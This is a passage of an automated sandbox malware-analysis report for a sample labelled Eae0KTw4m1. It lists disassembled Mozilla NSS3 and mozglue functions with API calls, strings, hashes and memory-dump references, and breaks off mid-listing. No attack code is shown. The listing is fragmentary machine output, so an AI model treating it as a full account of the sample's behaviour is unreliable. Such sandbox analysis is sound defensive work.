Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 2dc1125f0903844680b91ee43cac972a848236cd56d0e3ca995c232765c76d7f
Instruction ID: d0f797e14852c00c0d90d13f5ce78aa46459a5689b4e8d51f11bc646ed9f0fee
Opcode Fuzzy Hash: 2dc1125f0903844680b91ee43cac972a848236cd56d0e3ca995c232765c76d7f
Instruction Fuzzy Hash: DF310731605104EBCB21EF14DE8DBAB37B9AB4672DF088434E419ABB11D734980DDBD6

Function 6C7B4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C7B4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7B4CFD
sqlite3_value_text16.NSS3(?), ref: 6C7B4D44

Strings

out of memory, xrefs: 6C7B4C78, 6C7B4C9E
another row available, xrefs: 6C7B4D20
bad parameter or other API misuse, xrefs: 6C7B4D05
invalid, xrefs: 6C7B4CF1
abort due to ROLLBACK, xrefs: 6C7B4D27, 6C7B4D33
no more rows available, xrefs: 6C7B4D2E
API call with %s database connection pointer, xrefs: 6C7B4CF6
unknown error, xrefs: 6C7B4D56

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 59783685d10be7b18c1db6d72ccea2dec610f776e41e859cbc61a5bd001b855c
Instruction ID: 74253adfae3b2da1f08ecef8552dff1e802e66a03943af08e9f6c3f9518cb7b8
Opcode Fuzzy Hash: 59783685d10be7b18c1db6d72ccea2dec610f776e41e859cbc61a5bd001b855c
Instruction Fuzzy Hash: 36316673A08811A7D7280E24AB167A573A1BB8371CF550939D9247BF19CB30BC56E3E6

Function 6C712DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C712DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C712E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C712E33

Part of subcall function 6C7FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C712E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C712E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C712E81

Strings

ulPinLen = %d, xrefs: 6C712E7C
(CK_INVALID_HANDLE), xrefs: 6C712E2C
pPin = 0x%p, xrefs: 6C712E63
C_InitPIN, xrefs: 6C712DF1
hSession = 0x%x, xrefs: 6C712E0E, 6C712E1E

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: b5b2a28e58d954c4e1f36d1b9dff461af0e4334c0cb4a0614000548add8e6c4b
Instruction ID: bfa7d7af91903cac2a0c6455a7ab93e62ef82b40c5a215255179b22cf15a3a68
Opcode Fuzzy Hash: b5b2a28e58d954c4e1f36d1b9dff461af0e4334c0cb4a0614000548add8e6c4b
Instruction Fuzzy Hash: 5731E475605144ABDB20EB54DE8CB9B3BB9EB4331DF088434E808A7B11DB34A84DCBD2

Function 6C716EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C716F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C716F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C716F53

Part of subcall function 6C7FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C716F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C716F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C716FA1

Strings

ulPartLen = %d, xrefs: 6C716F9C
pPart = 0x%p, xrefs: 6C716F83
(CK_INVALID_HANDLE), xrefs: 6C716F4C
C_DigestUpdate, xrefs: 6C716F11
hSession = 0x%x, xrefs: 6C716F2E, 6C716F3E

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: a4586d316c90a472a341bb7c2f60e749e700c53b5dbd02df02fdfac7e2dc02db
Instruction ID: 846323fd030b5f45603f592ceddd3e620c25cb452b4b0eca9761a81bb0246aa5
Opcode Fuzzy Hash: a4586d316c90a472a341bb7c2f60e749e700c53b5dbd02df02fdfac7e2dc02db
Instruction Fuzzy Hash: BD31D5346091149FDB20EB14DE8CB9A3BB5EB4231DF088434E818E7B11DB34E949CBD1

Function 6C60EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60EC8C

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

GetCurrentThreadId.KERNEL32 ref: 6C60ECA1
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C60ECC5
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C60ED19
CloseHandle.KERNEL32(?), ref: 6C60ED28
free.MOZGLUE(00000000), ref: 6C60ED2F
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C60EC94

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 1fd8ebe4facb339a744479fc756eb73d7baa5716f362e840e26c035b1d76682d
Instruction ID: 660f78cd5691f4a94064f3ba340cac28532e0e0ccb9f7d51e6442462070bb79c
Opcode Fuzzy Hash: 1fd8ebe4facb339a744479fc756eb73d7baa5716f362e840e26c035b1d76682d
Instruction Fuzzy Hash: 2821D375700514ABDB04AF26D944AAE7779EF8636CF10C210FD18A7781DB719806CBAE

Function 6C6E4880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E48A2
PORT_NewArena_Util.NSS3(00000800), ref: 6C6E48C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6C6E48D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6C6E48FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6C6E4908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C6E4947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C6E496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6E4988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C808DAC,?), ref: 6C6E49DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E49FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6E4ACB

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: ad2b2d07a676c5d25a6ad3da1f9795dcf8c0a9abd6b3f3acef84125befcb57cf
Instruction ID: dcacc6fa365d7bf213c57581810ee60586f0065b315a2dee6adc18b9f830f8f6
Opcode Fuzzy Hash: ad2b2d07a676c5d25a6ad3da1f9795dcf8c0a9abd6b3f3acef84125befcb57cf
Instruction Fuzzy Hash: D6511970A0A3108BEB108EB9DD497AB37E4AF4931CF10412AD919ABB95E7F1D414CB5D

Function 6C7B2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C7B2D9F

Part of subcall function 6C66CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6CF9C9,?,6C6CF4DA,6C6CF9C9,?,?,6C69369A), ref: 6C66CA7A
Part of subcall function 6C66CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C66CB26

sqlite3_exec.NSS3(?,?,6C7B2F70,?,?), ref: 6C7B2DF9
sqlite3_free.NSS3(00000000), ref: 6C7B2E2C
sqlite3_free.NSS3(?), ref: 6C7B2E3A
sqlite3_free.NSS3(?), ref: 6C7B2E52
sqlite3_mprintf.NSS3(6C81AAF9,?), ref: 6C7B2E62
sqlite3_free.NSS3(?), ref: 6C7B2E70
sqlite3_free.NSS3(?), ref: 6C7B2E89
sqlite3_free.NSS3(?), ref: 6C7B2EBB
sqlite3_free.NSS3(?), ref: 6C7B2ECB
sqlite3_free.NSS3(00000000), ref: 6C7B2F3E
sqlite3_free.NSS3(?), ref: 6C7B2F4C

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: c76028b1f0498a5fdfa24145dc1c0f3e5e0f289e72705f22ed4e3e704851f28f
Instruction ID: 880bb32d3d3d8e192de152bb5ff7e6b221b129e5e9f0b853fb0ac53296d41a3c
Opcode Fuzzy Hash: c76028b1f0498a5fdfa24145dc1c0f3e5e0f289e72705f22ed4e3e704851f28f
Instruction Fuzzy Hash: DB6180B5E022059BEB00CFA9D989B9EB7B5EF49348F144034EC15B7B01E735E845CBA5

Function 6C664C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664CB0
PR_Unlock.NSS3(?,?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664D97
PR_Lock.NSS3(?,?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664DBA
PR_WaitCondVar.NSS3 ref: 6C664DD4
PR_Unlock.NSS3(?,?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664DEF

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 715bfa3d4c1f20a50163909bb084281c40aadc7bb0c4189ff3c93a276bd55b9c
Instruction ID: abab33edc7d664d45bfad3208771540f8e28be889ea57d13bec983f6a2ee6250
Opcode Fuzzy Hash: 715bfa3d4c1f20a50163909bb084281c40aadc7bb0c4189ff3c93a276bd55b9c
Instruction Fuzzy Hash: 51417DB1A086158FCB20EF79D0985697BF4BF0631CF058679D8489BB01E730D895CBCA

Function 6C704E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C704E90
EnterCriticalSection.KERNEL32 ref: 6C704EA9
TlsGetValue.KERNEL32 ref: 6C704EC6
EnterCriticalSection.KERNEL32 ref: 6C704EDF
PL_HashTableLookup.NSS3 ref: 6C704EF8
PR_Unlock.NSS3 ref: 6C704F05
PR_Now.NSS3 ref: 6C704F13
PR_Unlock.NSS3 ref: 6C704F3A

Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07AD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07CD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07D6
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C66204A), ref: 6C6D07E4
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,6C66204A), ref: 6C6D0864
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6D0880
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C66204A), ref: 6C6D08CB
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08D7
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08FB

Strings

bUpl, xrefs: 6C704E5C
bUpl, xrefs: 6C704F3F

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUpl$bUpl
API String ID: 326028414-3190182326
Opcode ID: e480c168eab6ff5f51e637297d1d549280d0a27140aa41742a7c34c3f2e32de3
Instruction ID: b5d686f662d1f7a1c1be8175a63ebc7f3f353a4cd269912eee68b569a9132024
Opcode Fuzzy Hash: e480c168eab6ff5f51e637297d1d549280d0a27140aa41742a7c34c3f2e32de3
Instruction Fuzzy Hash: E6415BB4A006059FCB10EF78C1848AABBF0FF49348B058669EC599B711EB30E895CBD1

Function 6C72ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C72DE64), ref: 6C72ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C72ED22

Part of subcall function 6C73B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8118D0,?), ref: 6C73B095

PL_FreeArenaPool.NSS3(?), ref: 6C72ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C72ED6B
PR_CallOnce.NSS3(6C842AA4,6C7412D0), ref: 6C72ED38

Part of subcall function 6C664C70: TlsGetValue.KERNEL32(?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664C97
Part of subcall function 6C664C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664CB0
Part of subcall function 6C664C70: PR_Unlock.NSS3(?,?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C72ED52
PR_CallOnce.NSS3(6C842AA4,6C7412D0), ref: 6C72ED83
PL_FreeArenaPool.NSS3(?), ref: 6C72ED95
PL_FinishArenaPool.NSS3(?), ref: 6C72ED9D

Part of subcall function 6C7464F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C74127C,00000000,00000000,00000000), ref: 6C74650E

Strings

security, xrefs: 6C72ED06

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 5c35486ce4ea01fe156a8574dfba16b8008dc06a25a81e83d4b93d701cb91bd4
Instruction ID: 2311729bcaea87319c809a41965e4934d235c06e99437646b39f97eae74626ae
Opcode Fuzzy Hash: 5c35486ce4ea01fe156a8574dfba16b8008dc06a25a81e83d4b93d701cb91bd4
Instruction Fuzzy Hash: 19112B7690421867DB20A775AE4DBBB7278AF0270DF018934E854A2F41F729A70CD6D7

Function 6C712CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C712CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C712D07

Part of subcall function 6C7F09D0: PR_Now.NSS3 ref: 6C7F0A22
Part of subcall function 6C7F09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C7F0A35
Part of subcall function 6C7F09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C7F0A66
Part of subcall function 6C7F09D0: PR_GetCurrentThread.NSS3 ref: 6C7F0A70
Part of subcall function 6C7F09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C7F0A9D
Part of subcall function 6C7F09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C7F0AC8
Part of subcall function 6C7F09D0: PR_vsmprintf.NSS3(?,?), ref: 6C7F0AE8
Part of subcall function 6C7F09D0: EnterCriticalSection.KERNEL32(?), ref: 6C7F0B19
Part of subcall function 6C7F09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C7F0B48
Part of subcall function 6C7F09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C7F0C76
Part of subcall function 6C7F09D0: PR_LogFlush.NSS3 ref: 6C7F0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C712D22

Part of subcall function 6C7F09D0: OutputDebugStringA.KERNEL32(?), ref: 6C7F0B88
Part of subcall function 6C7F09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7F0C5D
Part of subcall function 6C7F09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C7F0C8D
Part of subcall function 6C7F09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7F0C9C
Part of subcall function 6C7F09D0: OutputDebugStringA.KERNEL32(?), ref: 6C7F0CD1
Part of subcall function 6C7F09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C7F0CEC
Part of subcall function 6C7F09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7F0CFB
Part of subcall function 6C7F09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C7F0D16
Part of subcall function 6C7F09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C7F0D26
Part of subcall function 6C7F09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7F0D35
Part of subcall function 6C7F09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C7F0D65
Part of subcall function 6C7F09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C7F0D70
Part of subcall function 6C7F09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C7F0D90
Part of subcall function 6C7F09D0: free.MOZGLUE(00000000), ref: 6C7F0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C712D3B

Part of subcall function 6C7F09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C7F0BAB
Part of subcall function 6C7F09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7F0BBA
Part of subcall function 6C7F09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7F0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C712D54

Part of subcall function 6C7F09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7F0BCB
Part of subcall function 6C7F09D0: EnterCriticalSection.KERNEL32(?), ref: 6C7F0BDE
Part of subcall function 6C7F09D0: OutputDebugStringA.KERNEL32(?), ref: 6C7F0C16

Strings

pLabel = 0x%p, xrefs: 6C712D4F
slotID = 0x%x, xrefs: 6C712D02
ulPinLen = %d, xrefs: 6C712D36
C_InitToken, xrefs: 6C712CE7
pPin = 0x%p, xrefs: 6C712D1D

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
